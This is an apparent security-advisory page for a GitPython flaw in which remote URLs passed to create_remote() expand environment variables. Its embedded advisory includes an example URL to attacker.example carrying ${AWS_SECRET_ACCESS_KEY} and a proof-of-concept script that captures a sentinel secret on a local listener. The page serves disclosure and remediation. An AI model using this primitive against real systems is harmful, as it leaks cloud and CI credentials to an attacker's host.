GHSA-94p4-4cq8-9g67: GitPython Environment-variable Exfiltration Vulnerability
HIGHGHSA-94p4-4cq8-9g67 is a HIGH (CVSS 7.5) environment-variable exfiltration vulnerability (CWE-214: Invocation of Process Using Visible Sensitive Information) affecting GitPython libraries in the PyPI ecosystem. The issue involves environment-variable exfiltration via repo.create_remote() / remote.add() url (incomplete fix of ghsa-rwj8-pgh3-r573). Remediation is available by upgrading affected packages to version 3.1.55.
GHSA-94p4-4cq8-9g67 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix GHSA-94p4-4cq8-9g67
To remediate this vulnerability, upgrade all affected GitPython dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install GitPython>=3.1.55
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show GitPython
How to Check if You Are Affected
To determine whether your Python environment is affected by GHSA-94p4-4cq8-9g67, inspect your installed packages using pip:
pip show GitPython
Analyze the terminal output to locate any version of GitPython in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.55), your application is affected.
Note: The pip show GitPython command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-214: Invocation of Process Using Visible Sensitive Information, where a process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system. In GitPython, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-94p4-4cq8-9g67 Affected GitPython Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
GitPython
|
PyPI |
< 3.1.55
|
3.1.55
|
References
Frequently Asked Questions
What is GHSA-94p4-4cq8-9g67?
Which GitPython versions are affected?
What version fixes GHSA-94p4-4cq8-9g67?
Is GitPython affected?
What is the CVSS score of GHSA-94p4-4cq8-9g67?
What CWE is associated with GHSA-94p4-4cq8-9g67?
How can I check PyPI dependencies for GHSA-94p4-4cq8-9g67?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-94p4-4cq8-9g67",
"modified" : "2026-09-24T14:39:20Z",
"published" : "2026-07-24T21:45:16Z",
"aliases" : [ ],
"summary" : "GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)",
"details" : "## Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same \"import repository from URL\" threat model the advisory describes, via the sibling caller the fix missed.\n\n## Root Cause\n\nFix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated.\n\n[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:\n\n```python\nurl = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url) # https:// carrying the secret passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs) # expanded URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53 (installed below)\n\n### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip install gitpython==3.1.53\n```\n\n### Step 2: Write the PoC\n\n```bash\ncat > poc.py <<'PYEOF'\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython version:\", git.__version__)\n\n# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"] = SENTINEL\n\n# Local HTTP server standing in for attacker.example.\ncaptured = []\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n captured.append(self.path)\n self.send_response(404)\n self.end_headers()\n\n def log_message(self, *a):\n pass\n\n\nsrv = http.server.HTTPServer((\"127.0.0.1\", 0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\n# Attacker-controlled URL handed to an \"import from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\" % port\n\n\ndef norm(s): # display the ephemeral listener port as a stable placeholder\n return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\n\nprint(\"attacker-supplied URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote = repo.create_remote(\"evil\", attacker_url) # public API\n\nstored = repo.remote(\"evil\").url\nprint(\"stored remote URL :\", norm(stored))\nprint(\"SENTINEL in git config:\", SENTINEL in stored)\n\ntry:\n remote.fetch() # transmits the expanded URL to the attacker host\nexcept Exception:\n pass # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received :\", [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif SENTINEL in stored and over_network:\n print(\"VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n print(\"not reproduced\")\nPYEOF\n```\n\n### Step 3: Run it\n\n```bash\ncd /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version: 3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL in git config: True\nHTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL over network : True\n\nVULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host.\n\n## Suggested Fix\n\nPass `expand_vars=False` at the remaining URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.\n\n## Cleanup\n\n```bash\nrm -rf /tmp/gp-remote-poc\n```\n\n## Impact\n\nAny secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented \"import repository from URL\" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "GitPython"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.55"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gitpython-developers/GitPython"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yaml"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200", "CWE-214" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-24T21:45:16Z",
"nvd_published_at" : null
}
}